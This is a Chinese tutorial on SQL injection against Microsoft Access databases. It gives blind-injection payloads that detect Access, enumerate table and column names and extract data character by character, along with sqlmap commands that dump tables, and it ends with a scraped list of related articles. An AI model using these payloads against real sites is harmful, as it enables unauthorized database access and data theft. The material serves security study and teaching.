目录

Access数据库

Access数据库中的函数

盲注Access数据库

Sqlmap注入Access数据库


Access数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

数据库文件打开工具:辅臣数据库浏览器

Access数据库的连接

"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

Access数据库中的函数

select len("string")        查询给定字符串的长度
select asc("a") 查询给定字符串的ascii值
top n 查询前n条记录
select mid("string",2,1) 查询给定字符串从指定索引开始的长度

mid(string,start,length) 这个用来截取字符串的

  • string是要截取的字符串
  • start是截取的字符串开始索引
  • length是要截取的字符串长度

盲注Access数据库

Access数据库特有的表是:msysobjects  ,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。

判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
and exists(select* from admin)

猜测字段也是一样,只能通过枚举来猜测

判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
and exists(select*from admin order by 10)
判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
and exists(select name from admin)

猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

and (select count(*) from information)>100

然后在猜测每个字段具体的数据了

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5 猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

asc("中") = -10544
chr(-10544) = 中

Sqlmap注入Access数据库

爆出access数据库存在的表,只能利用枚举的方式爆破。

sqlmap -u "xxx"  --tables

第一步问我们是否使用公共的库去爆破,我们选择:Y;

第二步选择默认的库文件:1

第三步选择线程数:10

可以看出爆出了两个数据表:admin 、 specialty

爆出admin数据库中的列名

sqlmap -u "xxx" -T admin --columns

意思和上一步也是一样的。

爆出admin表下username列的所有数据

sqlmap -u "xxx" -T admin -C username --dump-all

相关文章:整理比较全的Access SQL注入参考

Sqlmap使用详解

SQL注入漏洞详解

Access数据库及注入方法的更多相关文章

  1. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  2. Access数据库SQL注入(Access SQL Injection)

    一.Microsoft Office Access数据库手工注入语句  1.参数后面加  ’ .and 1=1.and 1=2看返回状态判断是否存在注入点 2.参数后面加 and exists(sel ...

  3. Java Web项目中连接Access数据库的配置方法

    本文是对前几天的"JDBC连接Access数据库的几种方式"这篇的升级.因为在做一些小项目的时候遇到的问题,因此才决定写这篇博客的.昨天已经将博客公布了.可是后来经过一些验证有点问 ...

  4. ACCESS数据库偏移注入

    偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PROD ...

  5. SQLServer数据库及注入方法

    目录 SQLServer数据库 SQLServer数据库的查询语句 SA权限开启xp_cmdshell获取主机权限 盲注SQLServer数据库 SQLServer数据库 SQL Server数据库是 ...

  6. MySQL数据库及注入方法

    目录 MySQL数据库 mysql中比较常用的一些函数: 判断MySQL数据库是否存在SQL注入 MySQL数据库文件结构 MySQL数据库密码破解 MySQL UDF提权 MySQL数据库 MySQ ...

  7. 总结 vb与数据库的连接方法

    总结 vb与数据库的连接方法 分类:vb数据库 (4672)  (38)  举报  收藏 总结:vb与数据库连接方式,两种分法. 根据是否使用ODBC(驱动程序)来分: 1.有源连接 2.无源连接. ...

  8. access数据库之cookie注入

    本来今天想写post注入的,但这几天正好看到chookie的注入的视频.就先写一下这个.大家对于我说的get post cookie注入可能会认为SQL注入就这几种方式.这概念是错的.Get post ...

  9. ACCESS数据库注入

    0X01 我们想来了解一下access数据库 Access注入是暴力猜解 Access数据结构(access只有一个数据库) Access数据库 表名 列名 数据 没有库这个概念 只有表这个概念 这应 ...

随机推荐

  1. 通达OA 越权访问-2013/2015版本

    漏洞参考 http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/9.html 复现 根据⽹上的通达 OA的源码找这些敏感地址,如: /general/syst ...

  2. rest framework parsers

    解析器 机交互的Web服务更倾向于使用结构化的格式比发送数据格式编码的,因为他们发送比简单的形式更复杂的数据 -马尔科姆Tredinnick,Django开发组 REST框架包含许多内置的解析器类,允 ...

  3. 选择 FreeBSD 而不是 Linux 的技术性原因3

    选择 FreeBSD 而不是 Linux 的技术性原因3 jail FreeBSD Jails 系统是另一个惊人的工程壮举. 在 2000 年 3 月 14 日的 4.0 版本中,FreeBSD 引入 ...

  4. VS添加dll引用

    直接添加(CADImport.dll) 手动添加 (sgcadexp.dll) 直接放到项目bin的目录下

  5. go中sync.Mutex源码解读

    互斥锁 前言 什么是sync.Mutex 分析下源码 Lock 位运算 Unlock 总结 参考 互斥锁 前言 本次的代码是基于go version go1.13.15 darwin/amd64 什么 ...

  6. 【python+selenium的web自动化】- 针对上传操作的实现方案

    如果想从头学起selenium,可以去看看这个系列的文章哦! https://www.cnblogs.com/miki-peng/category/1942527.html 关于上传操作 ​ 上传有两 ...

  7. 自导自演的面试现场之--你竟然不了解MySQL的组提交?

    Hi,大家好!我是白日梦!本文是MySQL专题的第 26 篇. 下文还是白日梦以自导自演的方式,围绕"组提交"展开本话题.看看你能抗到第几问吧 换一种写作风格,自导自演面试现场!感 ...

  8. python中类的魔法方法

    __xx__这种方法,在Python中均称为魔法方法 1.__init__(self) 该方法的作用是初始化对象 在创建对象时被默认调用,不需要手动调节 self参数不需要开发者传递,解释器会自动将创 ...

  9. day03---Vue(04)

    一.组件 组件(Component)是 Vue.js 最强大的功能之一. 组件可以扩展 HTML 元素,封装可重用的代码. 组件系统让我们可以用独立可复用的小组件来构建大型应用,几乎任意类型的应用的界 ...

  10. 你要 if 还是 case 呢?-- Shell十三问<第十二问>

    你要 if 还是 case 呢?-- Shell十三问<第十二问> 还记得我们在第 10 章所介绍的 return value 吗? 是的,接下来介绍的内容与之有关,若你的记忆也被假期的欢 ...